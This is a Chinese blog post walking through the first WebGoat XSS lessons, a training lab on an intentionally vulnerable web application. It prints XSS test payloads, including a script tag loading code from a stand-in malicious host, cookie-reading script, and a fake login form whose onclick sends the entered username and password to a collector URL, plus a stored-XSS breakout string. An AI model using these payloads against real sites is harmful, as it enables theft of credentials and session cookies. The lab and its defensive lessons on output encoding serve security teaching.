现在的位置: 首页 > 综合 > 正文

WebGoat——XSS Attacks(part 1)

2013年03月19日 ⁄ 综合 ⁄ 共 1908字 ⁄ 字号 评论关闭

跨站脚本攻击在其他用户可以看到的地方放置恶意代码,通常是JavaScript代码。表单中的目标字段可以是地址、留言评论等。恶意代码通常窃取Cookie,从而可以使攻击者冒充成用户,或者进行社会工程攻击,诱引受害者泄漏自己的密码。Hotmail,Gmail和AOL都曾受到过这类社会工程攻击。

这里并不想特意论述操纵浏览器漏洞的JavaScript或类似技术,有三种方法可以对应用程序进行测试,如果成功的话,就表明该应用程序存在漏洞。

<script>document.write(document.cookie)</script>

<script>alert('Salut!')</script>

<script src="http://www.malicious-host.foo/badscript.js"></script>

请注意,最后一行代码从完全不同的一台服务器上调用了JavaScript,该技巧可以绕过绝大多数有长度限制的情况,因为badscript.js文件可以任意长而它的引用语句却相对较短。这些测试针对表单非常容易进行,在任意一个会重显的字段中试着简单填入字符串即可。比如,许多电子商务网站在你输入地址后,会显示一个确认页面,可以尝试在“街道名称”中输入<script>标记,看看会发生什么。

还有一些其他方法可以执行XSS攻击,像前面提到的那个例子,程序的搜索引擎也是XSS攻击的一个主要目标,可以在搜索字段中输入攻击内容,也可以直接通过URL提交:

http://Website/search/search.pl?qu=<script>alert(‘foo’)</alert>

我们还发现,错误页面也经常遭受XSS的攻击。比如,一个正常程序的错误页面URL如下:

http://Website/inc/errors.asp?Error=Invalid%20password

这会显示一个定制的拒绝访问页面,上面写着“Invalid  password”(无效口令)。在页面内容中发现URL中的字符,这充分说明存在XSS漏洞。可以构造如下的攻击:

http://Website/inc/errors.asp?Error=<script%20src=...

也就是将脚本标记放在URL中。现在,你应该知道如何进行测试了。

1、Publishing with XSS 发布环境中的XSS攻击

题意

在搜索框中输入XSS攻击代码,需要实现的目的有三个:一、插入请求认证的html;二、添加JavaScript来收集认真信息;三、将认真信息传递http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

XSS攻击代码如下:

 用户名<input name='Username'></input>
 密码<input name='Password'></input>
 <input type="submit" value="Login" onclick="var xssImg=new Image();xssImg.src='http://localhost:8080/WebGoat/catcher?PROPERTY=yes&u='+this.form.Username.value+'&p='+this.form.Password.value;">

效果如下:

攻击思路:添加html认证信息,通过提交时将认证信息提交服务器。

2、存储型 XSS 

XSS代码被提交给网站-->网站把XSS代码SetCookie给浏览器-->浏览器再次请求网站时提交包含XSS代码的Cookie-->网站从Cookie中取出包含XSS代码的某变量并将该变量作为页面内容的一部分返回给客户端-->客户端执行XSS代码

题意:以Tom登录通过修改信息页面,执行一个存储型XSS,攻击Street一栏,然后证明Jerry受到了这种XSS攻击。

分析源代码可以看到,如下



思想:首先想到的是闭合input的value属性,再写js脚本弹出相关信息即可。

代码:

"><script>alert("Aha,You are hacked!")</script>

效果如下:

3、阻止存储型 XSS 

问题描述:通过输出编码使得XSS攻击失效。

分析弹出alert框的页面源码时,可以发现页面被嵌入了一个存储型XSS脚本,如下

需要通过输出编码使得脚本失效,

效果如下:

4、反射型 XSS 

问题描述:在查询页面插入一个反射型XSS即可。

在查询页面插入如下脚本:

结果:

5、阻止反射型 XSS 

修改源代码,使得上述的反射型XSS不能被执行。

思想很简单,就是要做输入认证,使得脚本不能被执行。

抱歉!评论已关闭.